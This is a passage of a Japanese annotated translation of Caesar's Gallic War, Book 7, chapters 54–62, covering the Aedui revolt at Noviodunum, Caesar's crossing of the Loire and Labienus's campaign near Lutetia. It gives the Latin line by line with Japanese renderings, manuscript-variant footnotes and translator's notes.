**（カエサルが）無法行為を起こすと思われないように、あるいは（彼らを）怖れているという何らかの疑念を与えないように。
*③　Discedentibus his breviter sua in Haeduos merita exposuit, 
**（カエサルは）立ち去る彼らに、ハエドゥイー族における自分の功績を手短に説明した。
*quos et quam humiles accepisset, compulsos in oppida, multatos agris, 
**彼らが、どれほど無力であったのを引き受けたことか、[[w:オッピドゥム|城塞都市]]に押し込められ、耕地を台無しにされて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある。」）&lt;/span&gt;
*omnibus ereptis sociis&lt;ref&gt;sociis「同盟者たち」 はβ系写本の記述で、α系写本では copiis「軍勢」となっている。&lt;/ref&gt;, imposito stipendio, obsidibus summa cum contumelia extortis, 
**すべての同盟者たちを奪い取られ、貢物を課せられて、たいへんな侮辱とともに人質をもぎ取られていたことか。
*④　et quam in fortunam quamque in amplitudinem deduxisset, 
**かつ、どれほどの境遇に、どれほどの高位に（カエサルが）引き上げもしたことか。
*ut non solum in pristinum statum redissent, 
**その結果（ハエドゥイー族は）かつての地位に戻っただけでなく、
*sed omnium temporum dignitatem et gratiam antecessisse viderentur. 
**（以前の）あらゆる時期の品格や信望をも越えていると思われる。
*His datis mandatis eos ab se dimisit.
**このような訓示を与えて、彼ら（2人）を自分のもとから送り出した。

===55節===
'''エポレドリクスとウィリドマルスらがローマの拠点ノウィオドゥーヌムで寝返る'''
[[画像:Nevers_-_Vue_depuis_la_rive_sud_de_la_Loire.jpg|thumb|center|700px|ノウィオドゥーヌム（[[w:la:Nivernum|Noviodunum]]）＝現･[[w:ヌヴェール|ヌヴェール]]（[[w:fr:Nevers|Nevers]]）における、リゲル川（[[w:la:Liger|Liger]]）＝現･[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|Loire]]）の岸辺の景観]]

*①　[[w:la:Nivernum|Noviodunum]] erat oppidum [[w:la:Haedui|Haeduorum]] ad ripas [[w:la:Liger|Ligeris]] opportuno loco positum. 
**ノウィオドゥーヌムは、[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:オッピドゥム|城塞都市]]で、リゲル川（現[[w:ロワール川|ロワール川]]）岸の好都合な所に位置していた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：『ガリア戦記』には同名の都市が計3か所載っているが、こちらは現在の[[w:ヌヴェール|ヌヴェール]] Nevers である。&lt;br&gt;　　　　「[[ガリア戦記/ガリア語の名前#Nouio-dūnon|ガリア語の名前 #Nouio-dūnon]]」を参照せよ。）&lt;/span&gt;
*②　Huc Caesar omnes obsides Galliae, frumentum, pecuniam publicam, 
**ここに、カエサルは、ガッリアのすべての人質たちや、糧食、公金、
*suorum atque exercitus impedimentorum magnam partem contulerat; 
**および自分と軍隊の[[w:輜重|輜重]]の大部分を運び集めていた。
*③　huc magnum numerum equorum huius belli causa in [[w:la:Italia|Italia]] atque [[w:la:Hispania|Hispania]] coemptum miserat. 
**ここに、この戦争のためにイタリアと[[w:ヒスパニア|ヒスパニア]]から買い集めた馬匹の多数を送っておいた。
*④　Eo cum [[w:la:Eporedorix|Eporedorix]] Viridomarusque venissent et de statu civitatis cognovissent, 
**そこに、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]がやって来て、（以下のような）部族の情勢について察知したときに、

[[画像:Bibracte333_crop.JPG|thumb|right|400px|[[w:ビブラクテ|ビブラクテ]]の[[w:オッピドゥム|城塞都市]]跡に整備された城壁の遺構]]

*Litaviccum [[w:la:Bibracte|Bibracti]] ab Haeduis receptum, 
**（すなわち）リタウィックスが、ハエドゥイー族の者たちによって[[w:ビブラクテ|ビブラクテ]]に迎え入れられ、
*─ quod est oppidum apud eos maximae auctoritatis ─, 
**それ（ビブラクテ）は彼ら（ハエドゥイー族）のもとで最大の影響力を持つ城塞都市であるが、
*Convictolitavem&lt;ref&gt;Convictolitavem はβ系･N写本の記述で、χ系･B･M･S･L写本では Convictolitabim となっている。&lt;/ref&gt; magistratum magnamque partem senatus ad eum convenisse, 
**統領コンウィクトリタウィスと評議会の大半の者たちが彼（リタウィックス）のもとへ参集し、
*legatos ad [[w:la:Vercingetorix|Vercingetorigem]] de pace et&lt;ref&gt;et は α系･U写本の記述で、π系･R写本では et de となっている。&lt;/ref&gt; amicitia concilianda publice missos, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のところへ和平と友好を仲介するべく公けに使節たちが遣わされた（ことを知った）ので、
*non praetermittendum instans&lt;ref&gt;instans はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; tantum commodum existimaverunt. 
**（エポレドリクスとウィリドマルスは）眼前にあるこれほどの好機を放置するべきではないと考えたのだ。
*⑤　Itaque interfectis Novioduni custodibus quique eo negotiandi aut itineris&lt;ref&gt;aut itineris はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; causa convenerant, 
**こうして（2人は）ノウィオドゥーヌムの（ローマ側の）番兵たちや商用や旅行のために来訪していた者たちを殺害し、
*pecuniam atque equos inter se partiti sunt; 
**金銭および馬匹を互いに分け合った。
*⑥　obsides civitatum Bibracte ad magistratum deducendos curaverunt; 
**（ガッリアの）部族の人質たちをビブラクテの統領のところへ連れて行くように手配した。
*⑦　oppidum, quod a&lt;ref&gt;a はα系写本の記述で、β系写本では ab となっている。&lt;/ref&gt; se teneri non posse iudicabant, 
**（ノウィオドゥーヌムの）城塞都市は、自分たちによって固守することはできないと判断したので、
*ne cui esset usui Romanis, incenderunt; 
**ローマ人たちの有益になることがないように、焼き打ちした。
*⑧　frumenti quod subito potuerunt navibus avexerunt, 
**糧食のうち、急いで（運ぶことが）できるものを船団で運び去って、
*reliquum flumine atque incendio corruperunt. 
**残りのものを川（に流すこと）により、および焼き打ちにより、役立たないようにした。
*⑨　Ipsi ex finitimis regionibus copias cogere, 
**（彼ら）自身は、近隣の地方から軍勢を徴集して、
*praesidia custodiasque ad ripas Ligeris disponere 
**リゲルの川岸のたもとへ守備隊や番兵を分配して、
*equitatumque omnibus locis iniciendi timoris causa ostentare coeperunt, 
**（ローマ人に）恐怖（の感情）を起こさせるために、[[w:騎兵|騎兵隊]]に誇示をさせ始めた。
*si ab re frumentaria Romanos excludere 
**もし、ローマ人たちが糧食調達することを阻止するなら、
*† aut adductos inopia in provincia&lt;ref&gt;in provincia は、α系写本では ex provincia「属州から」、β系写本では provincia となっているが、コンスタン Constans やクロッツ A.Klotz らにより in provincia「属州に」と修正提案されている。&lt;/ref&gt; expellere&lt;ref&gt;expellere「駆逐する」 はα系写本の記述で、β系写本では excludere「阻止する、妨げる」 となっている。&lt;/ref&gt; † possent. 
**あるいは（糧食などの）欠乏により、属州に駆逐することができるなら、と。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：† ～ † は、写本の文章が崩れて校訂者を迷わせていることを表す記号。修正提案されている。）&lt;/span&gt;
*⑩　Quam ad spem multum eos adiuvabat, 
**そのような希望へ、彼らを大いに励まし助けたのは、
*quod Liger ex nivibus creverat, 
**リゲル川（の水位）が雪水により増したことで、
*ut omnino vado non posse transiri videretur.
**すべての浅瀬が渡らせられることができないと思われたのである。

===56節===
'''カエサルが属州へは戻らず、増水したリゲル川の渡河を敢行'''
*①　Quibus rebus cognitis Caesar maturandum sibi censuit, 
**それらの事態を知ると、カエサルは自らにとって（以下のことを）急ぐべきだと考慮した。
*si esset in perficiendis pontibus periclitandum, 
**もし、橋を造り上げる最中に（敵勢と闘うという）危険を冒すのであれば、
*ut prius, quam essent maiores eo coactae copiae, dimicaret. 
**そこに（敵方の）より多くの軍勢が集結するよりも早く闘うように（急ぐべきだと）。
*②　Nam ut commutato consilio iter in provinciam converteret, 
**なぜなら、作戦を変更して、属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に進路を方向転換するようにと、
*ne metu quidem&lt;ref&gt;ne metu quidem はα系写本の記述で、β系写本では nemo tunc quidem 、そのほか近代の校訂者によって修正提案が行なわれている。&lt;/ref&gt; necessario faciendum&lt;ref&gt;faciendum はβ系写本の記述で、α系写本では faciundum となっている。&lt;/ref&gt; existimabat; 
**（ガッリア勢への）怖れによって行なうことは決して必要ではない、と考えたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*cum infamia atque indignitas rei 
**（属州に撤退するという）事の不名誉や恥辱が、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：cum ～ tum …「～であるのと同様に特に…である」）&lt;/span&gt;
*et oppositus mons Cevenna&lt;ref&gt;Cevenna はχ系･U写本の記述で、π系･R写本の記述では Cebenna、φ系写本では Cevennae となっている。&lt;/ref&gt; viarumque difficultas impediebat, 
**およびケウェンナ山地が相対して道の（通行の）困難なことが、（属州への撤退を）妨げていたし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ケウェンナ山地 mons Cevenna は現在のセヴェンヌ山地。[[#8節|8節]]を参照。）&lt;/span&gt;
*tum maxime quod abiuncto [[w:la:Titus_Labienus|Labieno]] atque iis legionibus, quas una miserat, vehementer timebat. 
**同様に、とりわけ[[w:ティトゥス・ラビエヌス|ラビエーヌス]]と一緒に派遣していた諸[[w:ローマ軍団|軍団]]から遠ざけられて、非常に心配してもいたのだ。
*③　Itaque admodum magnis diurnis nocturnisque itineribus confectis 
**こうして、昼間も夜間も非常な強行軍を成し遂げて、
*contra omnium opinionem ad [[w:la:Liger|Ligerem]]&lt;ref&gt;Ligerem はα系写本の記述で、β系写本では Ligerim となっている。&lt;/ref&gt; venit 
**皆の予想に反して、リゲル川（＝現[[w:ロワール川|ロワール川]]）の辺りにやって来た。
*④　vadoque per equites invento pro rei necessitate opportuno, 
**事態の緊急性に見合う好都合な浅瀬を、[[w:騎兵|騎兵]]たちを通じて見出して、
*ut brachia modo atque humeri&lt;ref&gt;humeri はA･φ系･ρ系写本の記述で、Q写本では umeri となっている。&lt;/ref&gt; ad sustinenda arma liberi ab aqua esse possent, 
**やっと腕と肩を、武器を差し上げるために、水から自由になることができた。
*disposito equitatu, qui vim fluminis refringeret, 
**川の流れの圧力を妨げるべく、騎兵隊を分けて置いて、
*atque hostibus primo aspectu perturbatis, 
**敵方は（ローマ勢を）初めに一見するや狼狽していたので、
*⑤　incolumem exercitum traduxit 
**（カエサルは）軍隊を無傷のまま渡河させた。
*frumentumque in agris et pecoris copiam nactus 
**耕地の穀物、および大量の家畜を獲得して、
*repleto his rebus exercitu 
**これらの物を軍隊に補充して、
*iter in Senones facere instituit.
**セノネース族のところに行軍することを決めた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セノネース族の方面には、副官ラビエーヌスと4個軍団を派遣していた。）&lt;/span&gt;

==ラビエーヌスのルテティア遠征==
===57節===
'''副官ラビエーヌスがルテティア制圧に向かう'''
*①　Dum haec apud Caesarem geruntur, 
**これらがカエサルのもとで遂行されている間に、
*[[w:la:Titus Labienus|Labienus]] eo supplemento, quod nuper ex Italia venerat, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は、最近イタリアから来ていた補充兵（予備兵）を
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#34節|34節]]で既述のようにラビエーヌスはカエサルから4個軍団とともにガッリア北部の制圧を委ねられていた。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;また、[[#1節|1節]]で既述のようにカエサルはイタリア（属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]）で部隊を徴兵していた。）&lt;/span&gt;
*relicto [[w:la:Agedincum|Agedinci]], ut esset impedimentis praesidio, 
**アゲディンクムに、[[w:輜重|輜重]]にとっての守備隊となるように、残留させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#10節|10節]]で既述のように、カエサルはアゲディンクム（現在の[[w:サンス|サンス]]）に全軍の輜重を残していた。）&lt;/span&gt;
*cum quattuor legionibus Luteciam&lt;ref&gt;Luteciam はα系写本の記述で、π系写本では Luceciam 、ρ系写本では Lucetiam となっている。[[ガリア戦記 第6巻#3節|第6巻3節]]では Lutetia(m) とも綴られている。&lt;/ref&gt; proficiscitur. 
**4個軍団とともに[[w:ルテティア|ルテティア]]に出発した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティア Lutetia は写本ではルテキア Lutetia とも綴られる。[[ガリア戦記 第6巻#3節|第6巻3節]]を参照。）&lt;/span&gt;
*Id est oppidum Parisiorum, quod positum est&lt;ref&gt;quod positum est はα系写本の記述で、β系写本では単に positum となっている。&lt;/ref&gt; in insula fluminis [[w:la:Sequana|Sequanae]]. 
**それ（ルテティア）は[[w:パリシイ族|パリスィイ族]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で、セクアナ川（＝現[[w:セーヌ川|セーヌ川]]）の中洲に位置している。
*②　Cuius adventu ab hostibus cognito 
**彼（ラビエーヌス）の到来が敵方により知られると、
*magnae ex finitimis civitatibus copiae convenerunt. 
**近隣の諸部族から大軍勢が集結していた。
*③　Summa imperii traditur Camulogeno Aulerco, 
**（北部ガッリア勢の）最高司令権は、[[w:アウレルキ族|アウレルキ族]]の[[w:カムロゲヌス|カムロゲヌス]]に託された。
*qui prope confectus aetate 
**その者はかなり年老いていたが、
*tamen propter singularem scientiam rei militaris ad eum est honorem evocatus. 
**けれども、彼の卓越した軍事の知識のために、顕職に召集されたのだ。
*④　Is cum animadvertisset perpetuam esse paludem, 
**彼（カムロゲヌス）は、沼地が絶え間なくあることに気付いていたので、
*quae influeret in Sequanam atque illum omnem locum magnopere impediret, 
**それはセクアナ（川）に流れ込み、かの一帯すべてを大いに近付きにくくしていたので、
*hic consedit nostrosque transitu prohibere instituit.
**ここに陣取って、我が方（ローマ勢）が渡河するのを妨げることに決めた。

===58節===
'''ラビエーヌスがメトロセドゥムを陥落させ、ルテティアのガッリア勢と対峙'''
*①　[[w:la:Titus Labienus|Labienus]] primo vineas agere, cratibus atque aggere paludem explere 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は初めに、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を駆ること、柴や土砂で沼地を埋め立てること、
*atque iter munire conabatur. 
**および道を築くこと、を試みた。
*②　Postquam id difficilius confieri&lt;ref&gt;confieri はχ系･β系写本の記述で、Q写本では confici となっている。&lt;/ref&gt; animadvertit, 
**それが成し遂げられることが困難だと気付いた後で、
*silentio e castris tertia vigilia egressus 
**（敵に知られないように）静けさのうちに第三夜警時に陣営から進発して、
*eodem, quo venerat, itinere Metlosedum&lt;ref&gt;Metlosedum はコンスタン L.-A. Constans による修正で、π系･U写本では Metiosedum 、α系･ρ系写本では Mellodunum などとなっており、写本により表記がさまざまである。&lt;/ref&gt; pervenit. 
**やって来たのと同じ道程により、メトロセドゥムに到達した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：メトロセドゥム Metlosedum は、写本によりメティオセドゥム Metiosedum とも綴られ、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;後にはメロドゥーヌム [[w:la:Melodunum|Melodunum]] として知られる。現在の[[w:ムラン|ムラン]] [[w:fr:Melun|Melun]] である。）&lt;/span&gt;
*③　Id est oppidum [[w:la:Senones|Senonum]] in insula [[w:la:Sequana|Sequanae]] positum, ut paulo ante de [[w:la:Lutetia|Lutecia]] diximus. 
**それはセノネース族の城塞都市で、少し前に[[w:ルテティア|ルテティア]]について述べたように、セクアナ川の[[w:中州|中州]]に位置している。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ルテティアすなわち現在の[[w:パリ|パリ]]の中心部に[[w:シテ島|シテ島]]や[[w:サン＝ルイ島|サン＝ルイ島]]という[[w:セーヌ川|セーヌ川]]の中州があるように、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;現在のムランの中心部にもサン＝テティエンヌ島 [[w:fr:Île Saint-Étienne|Île Saint-Étienne]] というセーヌ川の中州がある。）&lt;/span&gt;
*④　Deprensis&lt;ref&gt;deprensis という語形はα系写本の記述で、β系写本では deprehensis となっている。&lt;/ref&gt; navibus circiter quinquaginta celeriterque coniunctis 
**約50隻の船を探し出して、速やかに結び合わせて（舟橋として）、
*atque eo militibus iniectis 
**そこに兵士たちを投入して、
*et rei novitate perterritis oppidanis, 
**事の新奇さに&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の者たちは脅えて、
*quorum magna pars erat ad bellum evocata, 
**彼ら（住民）の大部分は戦争へ徴集されていた（ため不在であった）ので、
*sine contentione oppido potitur. 
**（ラビエーヌスは）闘うことなしに（中州にあるメトロセドゥムの）城塞都市を掌握した。
*⑤　Refecto ponte, quem superioribus diebus hostes resciderant, exercitum traducit 
**それ以前の日々に敵方が破却していた橋を再建して、軍隊を（中州から対岸へ）渡らせて、
*et secundo flumine ad Luteciam iter facere coepit. 
**川に沿ってルテティアの方へ行軍を始めた。
*⑥　Hostes re cognita ab iis, qui Metlosedo&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、β系･S写本では Metiosedo 、χ系写本では Melloduno 、B･M･L･N写本では Ametlodone（あるいは Ametclodone）などとなっている。&lt;/ref&gt; fugerant, 
**敵方は、メトロセドゥムから逃げて来た者たちから事態を知って、
*Luteciam incendi pontesque eius oppidi rescindi iubent; 
**ルテティアを焼打ちすること、その城塞都市の橋を破却すること、を命じた。
*ipsi profecti a palude ad ripas&lt;ref&gt;ad ripas はχ系･B･M･L･N写本の記述で、S･Vおよびρ系写本では in ripas 、T写本では in ripa となっている。&lt;/ref&gt; Sequanae 
**彼ら自身は、沼地からセクアナの川岸へ出発して、
*e regione Luteciae contra Labieni castra considunt.
**ルテティア（の対岸）に向かってラビエーヌスの陣営に対抗して陣取った。

===59節===
'''ガッリア諸部族が迫り、ラビエーヌスが作戦変更を決断'''
*①　Iam Caesar a [[w:la:Gergovia|Gergovia]] discessisse audiebatur, 
**すでに、カエサルが[[w:ゲルゴウィア|ゲルゴウィア]]から撤退したことが聞かれていたし、
*iam de [[w:la:Haedui|Haeduorum]] defectione et secundo Galliae motu rumores adferebantur, 
**もはや、[[w:ハエドゥイ族|ハエドゥイー族]]の背反や、ガッリアの動乱の順調さについての噂がもたらされていた。
*Gallique in conloquiis 
**（当地の）ガッリア人たちは会話の中で、
*interclusum itinere et [[w:la:Liger|Ligeri]] Caesarem inopia frumenti coactum in provinciam contendisse confirmabant. 
**カエサルが行軍やリゲル（渡河）を遮られて、糧食の欠乏により属州（[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]）に急ぐことを強いられた、と確言した。
*②　Bellovaci autem defectione Haeduorum cognita, 
**一方で、ベッロウァキ族もハエドゥイー族の背反を知って、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は、ハエドゥイー族の仲介によりカエサルに降伏していた。[[ガリア戦記 第2巻#14節|第2巻14節]]～15節を参照。）&lt;/span&gt;
*qui iam&lt;ref&gt;qui iam は古典学者 ニコラエス・ハインシウス1世 [[w:en:Nikolaes_Heinsius_the_Elder|Nikolaes Heinsius the Elder]] による修正提案で、χ系･S･β系写本では qui 、B･M･L･N写本では quia となっている。&lt;/ref&gt; ante erant per se infideles, 
**彼ら自身もすでに以前から（カエサルやローマ人に）忠誠的でなかったが、
*manus cogere atque aperte bellum parare coeperunt. 
**手勢を徴集して、公けに戦争を準備することを始めた。
*③　Tum [[w:la:Titus Labienus|Labienus]] tanta rerum commutatione 
**そこで、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]はこれほどの事態の変動により、
*longe aliud sibi capiendum consilium, atque antea senserat, intellegebat, 
**自分にとって、以前に判断していたのとはまったく別の作戦が立てられるべきだ、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：aliud ～ atque …「…とは別の～」）&lt;/span&gt;
*④　neque iam, ut aliquid adquireret proelioque hostes lacesseret, 
**もはや、何らかのものを獲得したり、敵方に戦闘を挑むようにではなく、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：neque ut ～, sed ut …「～ようにではなく、…ように」）&lt;/span&gt;
*sed ut incolumem exercitum Agedincum reduceret, cogitabat. 
**軍隊を無傷のままでアゲディンクム（＝現[[w:サンス|サンス]]）に連れ戻すように、と考えた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：アゲディンクムには輜重と守備隊が残されていた。[[#10節|10節]]・[[#57節|57節]]を参照。）&lt;/span&gt;
*⑤　Namque altera ex parte Bellovaci, 
**実際、一方の側からはベッロウァキ族が、
*quae civitas in Gallia maximam habet opinionem virtutis, instabant, 
**ガッリアにおいて武勇に最大の評判を持つその部族が、迫りつつあった。
*alteram Camulogenus parato atque instructo exercitu tenebat: 
**他方からは、カムロゲヌスが軍隊を準備し、整列させて、進んでいた。
*tum legiones a praesidio atque impedimentis interclusas 
**そのとき、（ラビエーヌス麾下の）諸軍団は（アゲディンクムにいる）守備隊や輜重から遮られて、
*maximum flumen distinebat. 
**とても大きな（セクアナ）川が阻んでいた。
*⑥　Tantis subito difficultatibus obiectis 
**突然に、これほどの困難が投げ出されたので、
*ab animi virtute auxilium petendum videbat.
**武勇の心構えに救いを求めるべきだと（ラビエーヌスは）思った。

===60節===
'''ラビエーヌスが陽動戦術に努める'''
*①　Itaque&lt;ref&gt;Itaque はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; sub vesperum consilio convocato 
**こうして（[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は）夕方に会議を召集して、
*cohortatus, ut ea, quae imperasset, diligenter industrieque administrarent, 
**（彼が）命令したことを入念かつ勤勉に従事するように鼓舞した。
*naves, quas [[w:la:Melodunum|Metlosedo]]&lt;ref&gt;Metlosedo はコンスタン L.-A. Constans による修正で、χ系･S･β系写本では Metiosedo 、B･M写本では  ameclodone 、L･N写本では a mellodone 、&lt;i&gt;etc&lt;/i&gt;. となっている。&lt;/ref&gt; deduxerat, singulas equitibus Romanis attribuit, 
**[[w:ムラン|メトロセドゥム]]から引いて来ていた船団を、ローマ人騎士たち1人ずつに配分して、
*et prima confecta vigilia IIII(quattuor) milia passuum secundo flumine silentio progredi 
**第一夜警時が終わる頃に、4ローママイル（6km弱）下流に静けさのうちに進発すること、
*ibique se exspectari&lt;ref&gt;exspectari はα系･T･ρ系写本の記述で、S･V写本では exspectare などとなっている。&lt;/ref&gt; iubet. 
**かつ、そこで自分（ラビエーヌス）を待つことを命じた。
*②　Quinque cohortes, quas minime firmas ad dimicandum esse existimabat, 
**（白兵戦を）闘うためにはあまり強くないと（ラビエーヌスが）考えていた5個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; 
*castris praesidio relinquit; 
**陣営にとっての守備隊として残留させた。
*quinque eiusdem legionis reliquas 
**同じ軍団の残りの5個（歩兵大隊）を
*de media nocte cum omnibus impedimentis adverso flumine magno tumultu proficisci imperat. 
**真夜中から、すべての[[w:輜重|輜重]]とともに、上流の方に大きな喧騒でもって出発することを命令した。
*④　Conquirit etiam lintres; 
**小舟さえも探し集めて、
*has magno sonitu remorum incitatas in eandem partem mittit. 
**これらを大きな音とともに[[w:櫂|櫂]]を駆って、同じ方面に派遣した。
*Ipse post paulo silentio egressus cum tribus legionibus 
**（ラビエーヌス）自身は、少し後で静けさのうちに3個[[w:ローマ軍団|軍団]]とともに進発して、
*eum locum petit, quo naves appelli iusserat.
**船団が停められることを命じていた地点へ行った。

===61節===
'''ラビエーヌスの陽動により、敵将カムロゲヌスが兵力を分散'''
*①　Eo cum esset ventum, 
**（ラビエーヌスの軍勢が）そこにやって来たときに、
*exploratores hostium, ut omni fluminis parte erant dispositi, 
**敵方の偵察者たちが（セクアナ）川の至る所に分けて置かれていたが、
*inopinantes, quod magna subito erat coorta tempestas, 
**突然に大きな嵐が生じたので（ローマ勢の襲撃を）予期していなかった者たちは、
*ab&lt;ref&gt;ab はχ系･B･M･L･N写本の記述で、S･β系写本では a となっている。&lt;/ref&gt; nostris opprimuntur; 
**我が方（ローマ勢）によって不意を襲われたのだ。
*②　exercitus equitatusque equitibus Romanis administrantibus, quos ei negotio praefecerat, 
**歩兵隊と騎兵隊が、（ラビエーヌスが）任務を指揮させていたローマ人騎士たちの指導により、
*celeriter transmittitur. 
**速やかに（セクアナ川を）渡らせられた。
*③　Uno fere tempore sub lucem hostibus nuntiatur 
**夜明け前のほぼ一時に（以下のことが）敵方に報知された。
*in castris Romanorum praeter consuetudinem tumultuari 
**ローマ人の陣営において、通例に反して、騒がれていること、
*et magnum ire agmen adverso flumine 
**大きな隊列が上流の方へ行軍していること、
*sonitumque remorum in eadem parte exaudiri 
**（船を漕ぐ）櫂の音が同じ方面で聞き取られたこと、
*et paulo infra milites navibus transportari. 
**少し下流で兵士たちが船で（セクアナ川を）渡されたこと、である。
*④　Quibus rebus auditis, 
**それらの事態が聞かれて、
*quod existimabant tribus locis transire legiones atque omnes perturbatos defectione [[w:la:Haedui|Haeduorum]] fugam parare, 
**（ローマ勢の）諸軍団が3か所で渡河したこと、[[w:ハエドゥイ族|ハエドゥイー族]]の背反により総勢が取り乱して逃亡を準備していること、を考えたので、
*suas quoque copias in tres partes distribuerunt. 
**自分たちの軍勢をも3方面に分配した。
*⑤　Nam praesidio e regione castrorum relicto 
**すなわち（一隊がローマ勢の）陣営の真向かいに守備隊として残され、
*et parva manu Metlosedum&lt;ref&gt;Metlosedum はQ写本の記述で、χ系･β系写本では Metiosedum 、などとなっている。&lt;/ref&gt; versus missa, 
**（別の）わずかな手勢が[[w:ムラン|メトロセドゥム]]の方面へ派遣され、
*quae tantum progrediatur&lt;ref&gt;progrediatur はα系写本の記述で、Q･S･β系写本では progrederetur となっている。&lt;/ref&gt;, quantum naves processissent, 
**（ローマ勢の）船団が進み出るだけ、（ガッリア兵も）前進するようにした。
*reliquas copias contra Labienum duxerunt.
**残りを軍勢をラビエーヌスに対して（カムロゲヌス自身が）率いて行った。

===62節===
'''ラビエーヌスがカムロゲヌス麾下のガッリア勢を各個撃破して、カエサルと合流'''
*①　Prima luce et nostri omnes erant transportati 
**夜明けに、我が方（ローマ勢）は総勢が（セクアナ川の左岸に）渡されていたし、
*et hostium acies cernebatur. 
**敵方の戦列も見分けられた。
*②　[[w:la:Titus Labienus|Labienus]] milites cohortatus, 
**[[w:ティトゥス・ラビエヌス|ラビエーヌス]]は兵士たちを（以下のように）鼓舞した。
*ut suae pristinae virtutis et tot&lt;ref&gt;tot はS･β系写本の記述で、α系写本にはない。&lt;/ref&gt; secundissimorum proeliorum retinerent memoriam&lt;ref&gt;retinerent memoriam はχ系･B･M･L･N写本の記述で、S･β系写本では memoriam retinerent となっている。&lt;/ref&gt; 
**自分たちのかつての武勇とこのようにとてもうまくいっている諸戦闘を記憶に留めるように、
*atque ipsum Caesarem, cuius ductu saepe numero hostes superassent, praesentem adesse existimarent, 
**かつ、その指揮によって何度もしばしば敵方を打ち破って来たカエサル当人が目下居合わせていると考えるように、と。
*dat signum proelii. 
**（それから）戦闘の号令を発した。
*③　Primo concursu ab dextro cornu, ubi septima legio constiterat, 
**最初の激突は、[[w:第7軍団クラウディア・ピア・フィデリス|第7軍団]]が布陣していた（ローマ軍の）右翼からで、
*hostes pelluntur atque in fugam coniciuntur; 
**敵方は撃退されて、逃亡に追いやられた。
*④　ab sinistro, quem locum duodecima legio tenebat, 
**第12軍団が場所を占めていた左翼からは、
*cum primi ordines hostium transfixi pilis&lt;ref&gt;pilis はβ系写本の記述で、α系写本では telis となっている。&lt;/ref&gt; concidissent, 
**敵方の最前列（の兵たち）が投げ槍で突き通されて斃れたのだが、
*tamen acerrime reliqui resistebant 
**けれども残りの者たちがとても激烈に抵抗していて、
*nec dabat suspicionem fugae quisquam. 
**誰も逃亡の予兆を示さなかった。
*⑤　Ipse dux hostium Camulogenus suis aderat atque eos cohortabatur. 
**敵方の将帥カムロゲヌス自身は、麾下の者たちに居合わせて、彼らを激励していた。
*⑥　At&lt;ref&gt;cohortabatur. At はχ系写本などの記述で、別の写本では記述が異なる。&lt;/ref&gt; incerto nunc etiam&lt;ref&gt;nunc etiam はB･M･L･N写本の記述で、χ系･S･β系写本では etiamnunc となっている。&lt;/ref&gt; exitu victoriae, 
**勝敗の帰趨は今もなお不確実だったが、
*cum septimae legionis tribunis esset nuntiatum, quae in sinistro cornu gererentur, 
**第7軍団の&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、左翼で&lt;ruby&gt;&lt;rb&gt;出来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅったい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;したことが報告されたときに、
